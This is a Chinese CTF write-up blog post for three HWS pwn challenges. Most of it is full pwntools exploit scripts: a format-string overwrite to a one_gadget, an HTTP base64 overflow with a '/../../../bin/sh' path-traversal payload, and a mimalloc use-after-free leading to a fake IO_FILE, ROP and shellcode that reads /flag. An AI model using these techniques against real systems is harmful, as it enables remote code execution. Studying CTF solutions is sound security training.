HWS-PWN

这次有幸能将三道pwn题都解出了,第一天上大分,但只会解pwn,第二天不断掉分😢。

fmt

白给的两次格式化字符串漏洞,最后改__libc_start_main为one_ganget即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import*
elf = ELF('fmt')
libc = elf.libc
#p = process('./fmt')
p = remote('123.60.179.52',30050)
context.log_level = 'debug'
context.arch = 'amd64'

payload = b'%18$p,%21$p'
p.sendlineafter(b':', payload)
p.recvuntil(b'0x')
stack = int(p.recv(12), 16)
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - 243 - libc.sym['__libc_start_main']
one_gadget = libc_base + 0xe3b01
fmt_payload = fmtstr_payload(6, {(stack + 8) : one_gadget & 0xffffff}, write_size='byte')
payload = fmt_payload[:7] + b'hh' + fmt_payload[9:]
# print(fmt_payload)
# print(payload)
# print(hex(one_gadget))
# gdb.attach(p)
# pause()
p.sendlineafter(b':', payload)
p.interactive()

ezhttp

虽然限制了.. 符号的使用,但是在sub_1766函数中有个转base64的操作,大小没有限制,可以直接溢出到haystack,再利用? 去绕过文件后缀名的检测,最后利用sub_2993函数中的execl去执行/bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import*
import base64
#p = remote('127.0.0.1', 4000)
p = remote('123.60.179.52',30092)
context.log_level = 'debug'
payload = b'GET / HTTP/1.1\r\n'
msg = b'a' * 0x40 + b'/../../../bin/sh?faker.js'
payload += b'Authorization: Basic ' + base64.b64encode(msg) + b'\r\n\r\n'
pause()
p.send(payload)
p.recvuntil(b'\r\n')
p.recvuntil(b'\r\n')
pause()
p.interactive()

mi

白给的uaf,主要是mimalloc的问题,随便试了一下,堆分配是将一块连续的内存(0x10000)划分为相同的大小的chunk,有点像slab。

与glibc不同,同一大小的堆块分配chunk的链表和释放chunk的链表是不同的,只有当分配chunk的链表中的chunk用尽了,才去使用释放chunk的链表(语言表述可能有点问题,如果没有get到我说的点,就多调试一下吧)。

先泄漏堆地址,在堆基址+0x240处有libmimalloc.so.2的地址,偏移与glibc固定,泄漏后改IO_2_1_stdout,利用house of cat去栈迁移。

libmimalloc.so.2和glibc的偏移本地和远程不一样,还要去爆破这个偏移。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import*
elf = ELF('pwn')
#libc = elf.libc
libc = ELF('libc.so.6')
#p = process('./pwn')
global p
#p = remote('60.204.140.184',30175)
context.log_level = 'debug'
context.arch = 'amd64'

def add(size, content):
p.sendlineafter(b'>>', b'1')
p.sendlineafter(b':', str(size).encode())
p.sendlineafter(b':', content)

def delete(idx):
p.sendlineafter(b'>>', b'2')
p.sendlineafter(b':', str(idx).encode())

def edit(idx, content):
p.sendlineafter(b'>>', b'3')
p.sendlineafter(b':', str(idx).encode())
p.sendlineafter(b':', content)

def show(idx):
p.sendlineafter(b'>>', b'4')
p.sendlineafter(b':', str(idx).encode())

def exp():
add(0x300, b'a')
for i in range(4):
add(0x310, b'a')
for i in range(5):
delete(i)

show(4)
p.recvuntil(b'\n')
heap_addr = u64(p.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) - 0x30780

add(8, b'a')
delete(5)
edit(4, p64(heap_addr + 0x2c0))
add(0x310, b'a')
add(0x310, p64(heap_addr + 0x240))
p.sendlineafter(b'>>', b'1')
p.sendlineafter(b':', b'0')
show(7)
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#libcbase = leak - 0x22820 - 0x1f4000
#libcbase = leak - 0x228820 - i * 0x20
libcbase = leak - 0x22820 - 0x1f4000 + 2 * 0x1000
print(hex(heap_addr))

for i in range(4):
add(0x400, b'a')
for i in range(4):
delete(i + 9)


IO_2_1_stdout = libcbase + libc.sym['_IO_2_1_stdout_']
IO_wfile_jumps = libcbase + libc.sym['_IO_wfile_jumps']
pop_rdi_ret = libcbase + 0x23b6a
pop_rsi_ret = libcbase + 0x2601f
pop_rdx_ret = libcbase + 0x142c92
magic_gadget = libcbase + 0x151990
#fake_addr = IO_2_1_stdout

faker_addr = heap_addr + 0x50c80
payload = p64(0) * 4 + p64(libcbase + libc.sym['setcontext'] + 61)
payload = payload.ljust(0xa0, b'\x00')
payload += p64(faker_addr + 0x100) + p64(pop_rdi_ret + 1)
payload = payload.ljust(0x100, b'\x00')

payload += flat(
pop_rdi_ret, ((faker_addr + 0x100) >> 12) << 12,
pop_rsi_ret, 0x2000,
pop_rdx_ret, 7,
libcbase + libc.sym['mprotect'],
faker_addr + 0x140
)
payload += asm(shellcraft.cat('/flag'))

edit(12, p64(IO_2_1_stdout))
add(0x400, payload)

fake_IO_FILE = p64(0) + p64(heap_addr + 0x50c80)
fake_IO_FILE += p64(0) * 6
fake_IO_FILE += p64(1) + p64(0)
fake_IO_FILE += p64(heap_addr)
fake_IO_FILE += p64(magic_gadget)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(heap_addr + 0x500)
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE += p64(IO_2_1_stdout + 0x30)
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(IO_wfile_jumps + 0x10)
fake_IO_FILE += p64(0) * 6
fake_IO_FILE += p64(IO_2_1_stdout + 0x40)

print(hex(libcbase))
#gdb.attach(p)
#pause()
add(0x400, fake_IO_FILE)
#pause()
p.interactive()


p = remote('123.60.179.52',30191)
#p = remote('172.17.0.1', 9999)
#p = process('./pwn')
exp()
p.close()

HWS-PWN
https://xtxtn.github.io/2023/07/17/HWS-PWN/
作者
xtxtn
发布于
2023年7月17日
更新于
2023年7月17日
许可协议